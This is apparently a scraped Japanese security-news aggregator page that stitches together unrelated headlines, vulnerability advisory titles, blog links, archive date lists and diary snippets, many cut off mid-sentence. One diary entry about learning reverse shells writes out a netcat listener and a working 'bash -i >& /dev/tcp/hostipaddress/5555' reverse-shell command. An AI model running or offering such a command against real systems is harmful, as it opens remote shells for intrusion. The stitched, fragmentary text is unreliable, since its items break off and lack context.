|
|
|
|
|
||
|
||
すべて | グループ指定なし | Security | 日記など | Windows | Tips | その他 | Virus対策ソフトベンダー | News | Java | Linux | Exploit
西表島のボス、季節で獲物食べ分け共存…絶滅危惧種のイリオモテヤマネコとカンムリワシ
15:43
パイプ銃を自作し所持した疑い、逮捕の男「こんな国にした者らを攻撃することを想像していた」
15:07
ＡＩが山形弁を「翻訳」する健康増進アプリ開発…高齢者と「会話」、体操メニュー提案
15:24 生成ＡＩ
テスラの２００万台リコール、米当局が調査開始…不具合修正後も事故発生
14:48
トランプ氏側近がＦＲＢの独立性弱める計画案、パウエル氏の更迭権限も…米紙報道
14:19
既婚者の８割が感じる「２人目の壁」、もうひとり産みたかった母親がいま願うことは
14:00 子育てのリアル
大谷翔平、ロバーツ監督に並ぶチーム日本生まれ最多本塁打…「あす抜けるように頑張る」
13:04 大谷翔平
実物の５０倍、カツオのたたきがお出迎え…高知空港で観光客ら「早く食べたい」
15:30
さあ連休 北陸新幹線で…
Culture and Inclusion
1時間前 ミャンマー少数民族武装勢力、公開裁判で男らに死刑宣告 統治誇示か
2時間前 中部電力、海外投資を縮小 欧州の洋上風力など見直し 円安も一因に
4時間前 経団連、GWに能登へ企業人を派遣 災害ボランティアセンターを支援
4時間前 「はい」と答えた日銀総裁に疑問 「2％目標」への固執、誰のため？
5時間前 岐阜県議の政治団体、政治資金規正法違反か 土地無償提供分を不記載
8時間前 両陛下、６月に英国公式訪問 宮内庁が発表
9時間前 EU、SHEINを規制対象に指定 偽造品などで対策を義務づけ
10時間前 SBIホールディングスの関連会社社長、電車内で痴漢の疑いで逮捕
10時間前 円安、一時157円台に NY市場でも止まらず、介入に警戒感
12時間前 【そもそも解説】スマホOSって何？ アプリ動かすスマホの｢頭脳｣
12時間前 秋篠宮妃紀子さま、金沢大など訪問 避難の子に絵本読み聞かせ
MetaのザッカーバーグCEO、最近ゴールドチェーンを着けている理由を説明
知らないと損!?業界最前線：
30畳対応の大風量なのに静か、シャープ初の「サーキュレーター」が採用する“ネイチャーテクノロジー”とは？
世界を読み解くニュース・サロン：
生成AIで死者を“復活”させるビジネスは人を救うのか 指摘される懸念とは？
古田雄介の週末アキバ速報：
Wi-Fi 7対応のゲーミングルーターがASUSからデビュー
石野純也のMobile Eye：
楽天モバイルで「身に覚えのないeSIM再発行」の危険性 緩すぎる2つのプロセスは改善すべき
2024年4月27日
MetaのザッカーバーグCEO、最近ゴールドチェーンを着けている理由を説明
知らないと損!?業界最前線：
30畳対応の大風量なのに静か、シャープ初の「サーキュレーター」が採用する“ネイチャーテクノロジー”とは？
世界を読み解くニュース・サロ
ISMAP
政府情報システムのためのセキュリティ評価制度（Information system Security Management and Assessment Program: 通称、ISMAP（イスマップ））は、政府が求めるセキュリティ要求を満たしているクラウドサービスを予め評価・登録することにより、政府のクラウドサービス調達におけるセキュリティ水準の確保を図り、もってクラウドサービスの円滑な導入に資することを目的とした制度です。
パスワード もっと強く君を守りたい
原宿にて「パスワード」の大切さを啓発するマンガポスターを掲示しています。このポスターを学校や会社でも掲示したいとの声を受けて販売もしています。
Culture and Inclusion
東北大学と三井不動産、「サイエンスパーク構想」で協業--イノベーション生むコミュニティの形成へ
KDDI、個人向け「Starlink」アンテナキットをau Online Shopで販売開始--au ショップなどは5月中旬から
「築地再開発」、「EVERING」など--週間人気記事をナナメ読み（4月19日～4月25日）
ZDNET JapanZiddyちゃんの「私を社食に連れてって」：ネットワンシステムズのイノベーションセンターでハッスル編
「Windows 11」のスタートメニューで広告表示が開始、どうすれば消せる？
ドコモ、データ移行アプリを終了へ--8月以降順次
次期「iPhone」のデザインはどうなる？カメラ、ボタン、サイズ、色をめぐる予想
東北大学と三井不動産、「サイエンスパーク構想」で協業--イノベーション生むコミュニティの形成へ
2024年04月26日 17時30分
KDDI、
NECの2024年3月期は10％営業増益、5事業が「低収益」水準から脱却
NECは2024年4月26日、2024年3月期の連結決算（国際会計基準）を発表した。売上高に当たる売上収益は前の期比5％増の3兆4772億円。営業利益は10％増の1880億円…
2024.04.26
ニュース
東北大学サイエンスパーク構想が本格始動、共創の場やコミュニティーを三井不と構築
2024年4月26日、東北大学と三井不動産は「東北大学サイエンスパーク構想」の本格始動と進捗を発表した。東北大学の持つ人材や設備などを広く社会に提供し、産学連携でイノベーショ…
2024.04.26
ニュース
SCSKが営業最高益更新、2025年3月期はシステム開発に生成AI投入し9％増益見込む
SCSKは2024年4月26日、2024年3月期の連結決算（国際会計基準）を発表した。売上高は前の期比8％増の4803億円、営業利益は同1
》 それは不具合ではない：Metaによる組織的なパレスチナ言論の検閲 (p2ptk.org, 4/15)
》 全国の原発避難計画 調べてみえた地域差とは (NHK, 4/22)。複合災害時の復旧作業基準について明確化している県の少なさよ。
明記していた中では、▽民間の事業者の被ばく線量の上限を、一般の人の年間の限度とされる1ミリシーベルトとしているところが4道県（北海道、福島県、滋賀県、佐賀県）。
▽住民の避難や屋内退避が指示されるまでの段階で、民間の事業者による作業は中止するとしているところが2県だった（新潟県、愛媛県）。
残る13の府や県は明記していないと回答した。
（青森県、宮城県、茨城県、静岡県、石川県、富山県、福井県、京都府、島根県、鳥取県、長崎県、福岡県、鹿児島県）
あらかじめ決めておかないと、特攻隊になるぜ。
》 ｢JALとANAの天下りは問題｣､空港施設に株主提
最終更新日：2024/04/24
JVNVU#91883072:
NETGEAR製ルーターにおけるバッファオーバーフローの脆弱性 [2024/04/24 13:00]
JVN#62737544:
RoamWiFi R10における複数の脆弱性 [2024/04/24 12:00]
JVNTA#90371415:
WindowsカーネルドライバーのIOCTL処理におけるアクセス制御不備の脆弱性 [2024/04/23 15:30]
JVN#40079147:
TvRock におけるサービス運用妨害 (DoS) の脆弱性 [2024/04/23 15:00]
JVN#24683352:
TvRock におけるクロスサイトリクエストフォージェリの脆弱性 [2024/04/23 15:00]
JVNVU#99836374:
Siemens製品に対するアップデート（2024年4月） [2024/04/
■ 2024.04.22: 曇
》 reverse shell のおべんきょう
How-To Create a Reverse Shell: Bash Script Cheat Sheet (I/O Flood, 2023.11.26)。nc -lvnp 5555 と書かれているが、これだと
FreeBSD では機動しない。
マニュアルを見ると -p source_port であり listen port を指定するオプションではない。
起動しないのが正常。
というか、
なぜ Linux では機動するのか。謎。
nc -lvn 5555 で待ち受け、bash -i >& /dev/tcp/hostipaddress/5555 0>&1 で接続。
うまくいった。
Encrypted reverse shell using ncat
インスタントカメラの新モデル「Polaroid I-2」がまもなく先行予約開始
インスタントカメラのハイエンドモデル
Poraloidの新製品、「Polaroid I-2」が間もなくGREEN FUNDINGに登場します。価格は、48時間限定割が9万6611円から。 国内での販売はVISTAL VISIONが実施。オーディオブランドSk ...
投稿日：2024.4.23
カテゴリ：News
BOZZ 逮捕されるか ～音声ファイルの被害者は New!
たくさんの方に音声ファイルを聴いて頂き、多くの感想をもらいました。本当にありがとうございました。 抜粋してご紹介させて...
2024.04.22
スパイ日記
スパイ日記
BOZZ、逮捕されるか
正体 New!
BOZZ妻の菜緒です。 夫が被疑者になったと聞いて、黙っていられずに原稿を書きました。 亀梨くん主演の全4話の、死刑囚...
2024.04.21
スパイ日記
スパイ日記
汚職事件による東京15区の補欠選・注目ポイント！
元参政党員が語る ガチで怖い参政党の闇
BOZZと対談。元参政党員であり、同党の執行部から出馬要請も受けていたドラコンプロ・プロカメラマン・Youtuberと...
2024.04.05
スパイ日記
スポンサーリンク
スパイ日記
須磨学園の荒くれ教師達 ～警察官もあきれる
〈昨日の続き〉 そのあとすぐに私
Follow updates by subscribing to the handler's diary RSS feed
This document contains the CERT advisories from 1995.
JPCERT/CC Eyes「世界のCSIRTから ～タイ、インドネシア～」
April 30, 2026
Last modified on: December 11, 2023 by Ed Maste
トピノスタルジア
読者になる
ねこ☆日記。
読者になる
ripjyr's blog
読者になる
登 大遊 (Daiyuu Nobori) の個人日記
読者になる
うさぎ文学日記
読者になる
サーバー管理者日誌
読者になる
極私的「おいし（くな）い生活」。
読者になる
交差点でコーヒーを
読者になる
R'lyeh ノ記
読者になる
TOTOROの自堕落 日記
読者になる
蠅蠅蚊蚊蚊金鳥ル。
読者になる
Edge Diary
読者になる
9DOの日記
読者になる
猫の国の物語
読者になる
跡地。
読者になる
Ashの日記
読者になる
m0ri雑記
読者になる
極楽せきゅあブログ
読者になる
たぬきん貧乏日記 〜No Worry, No Hurry. Eat Curry!〜
読者になる
SecuDiary
読者になる
ろらんの部屋
読者になる
kazahayaの日記
読者になる
Underconstruction by Taiyo
読者になる
■ 追記（21日）完結編：転々流通は防止されているのか？ 修正案は？
前半の話を解決まで続けてみた。
私：別の観点を検討します。先ほど、「かなり広範な主体に対して、犯罪経歴情報が提供される」という話がありました。この法案のルールからすると、どのような範囲に提供されることになるでしょうか。提供は誰から誰へ、どのようなタイミングで、どのような制限の下でなされるのでしょうか。
Claude：この法案では、犯罪経歴情報の提供について、以下のようなルールが定められています。
誰から誰へ提供されるのか 犯罪経歴情報は、内閣総理大臣から学校設置者等又は認定事業者等に対して提供されます（第35条第1項）。具体的には、学校設置者等や認定事業者等が、教員等や教育保育等従事者の犯罪経歴情報について内閣総理大臣に犯罪事実確認書の交付を申請し（第33条第1項）、内閣総理大臣が法務大臣に照会して犯罪経歴を確認した上で
3月12日(火) 12:02 更新
「罰ゲーム化する管理職」、パーソルホールディングスのオンライン勉強会に関する記事に注目集まる
スマホの充電機能つきバックアップメモリ「Qubii EX」、サンワサプライが発売
マウスコンピューター、創業30周年記念でQUOカードや齋藤飛鳥さんコラボグッズが当たるキャンペーン開催
やじうまWatch
トピック
ネットの話題
二度と御免？ iPhoneの「探す」機能で約5億5千万円を手に入れた女性、その理由は
12:02
サービス/ソフト
ソフトウェア
その他
Chrome拡張機能によるトラブルを未然に防ぐ？ 開発者交代を教えてくれる拡張機能が登場
11:55
Home / Cisco Security
Security Vulnerability Policy
If you are experiencing a security vulnerability emergency, see the Reporting or Obtaining Support for a Suspected Security Vulnerability section of this document.
Contents
Purpose
Policy
Cisco Product Security Incident Response
Reporting or Obtaining Support for a Suspected Security Vulnerability
General Security-Related Queries
Receiving Securi
ただただし t@tdtds.jp プログラマ、Webアクセス解析士を経て、現在はセキュリティエンジニア兼エンジニアリングマネージャ。
学生時代からフリーソフトウェア開発に関わりはじめ、かれこれ30年。RubyではWebアプリケーションを中心に開発。tDiaryプロジェクト創始者。
妻1人、猫2匹。
DDI-RULE-4870
Description Name: COBEACON DEFAULT NAMED PIPE - SMB2 (Request)
Advisory Date: 09 Aug 2023
DDI-RULE-4871
Description Name: CVE-2021-27860 - VOLTTYPHOON EXPLOIT - HTTP(Request)
Advisory Date: 08 Aug 2023
» 04.08.2003 : [email protected] Clients Buffer Overflow Exploit
▼ ▶
2021
2021 / 12
2021 / 9
▼ ▶
2020
2020 / 12
2020 / 5
▼ ▶
2019
2019 / 12
2019 / 7
2019 / 6
▼ ▶
2018
2018 / 12
2018 / 11
2018 / 10
2018 / 8
2018 / 3
2018 / 1
▼ ▶
2017
2017 / 12
2017 / 10
2017 / 5
2017 / 3
2017 / 2
2017 / 1
▼ ▶
2016
2016 / 12
2016 / 8
2016 / 7
2016 / 6
2016 / 4
2016 / 2
2016 / 1
▼ ▶
2015
2015 / 12
2015 / 10
2015 / 9
2015 / 8
2015 / 6
2015 / 5
2015 / 4
2015 / 3
2015 / 2
2015 / 1
▼
▼ ▶
2022
2022 / 1
▼ ▶
2021
2021 / 7
2021 / 6
▼ ▶
2020
2020 / 6
2020 / 5
2020 / 4
2020 / 3
2020 / 2
▼ ▶
2019
2019 / 2
▼ ▶
2017
2017 / 7
2017 / 5
▼ ▶
2016
2016 / 10
2016 / 8
2016 / 7
2016 / 4
2016 / 3
2016 / 2
▼ ▶
2015
2015 / 10
2015 / 8
2015 / 4
2015 / 2
▼ ▶
2014
2014 / 8
2014 / 6
2014 / 3
▼ ▶
2013
2013 / 12
2013 / 9
2013 / 8
2013 / 7
2013 / 6
2013 / 5
▼ ▶
2012
2012 / 1
▼ ▶
2011
2011 / 12
2011 / 11
▼ ▶
2021
2021 / 3
▼ ▶
2019
2019 / 8
▼ ▶
2017
2017 / 4
▼ ▶
2014
2014 / 1
▼ ▶
2013
2013 / 5
2013 / 2
2013 / 1
▼ ▶
2012
2012 / 12
2012 / 5
2012 / 3
▼ ▶
2011
2011 / 5
2011 / 3
▼ ▶
2010
2010 / 12
2010 / 9
2010 / 7
2010 / 5
▼ ▶
2009
2009 / 11
2009 / 8
2009 / 5
2009 / 4
2009 / 3
▼ ▶
2008
2008 / 12
2008 / 11
2008 / 10
2008 / 9
2008 / 7
2008 / 6
2008 / 5
2008 / 3
2008 / 2
2008 / 1
▼ ▶
2007
2007 / 12
2007 /
2023 | 2022 | 2021 | 2020 | 2019 | 2018 | 2017 | 2016 | 2015 | 2014 | 2013 | 2012 | 2011 | 2010 | 2009 | 2008 | 2007 | 2006 | 2005 | 2004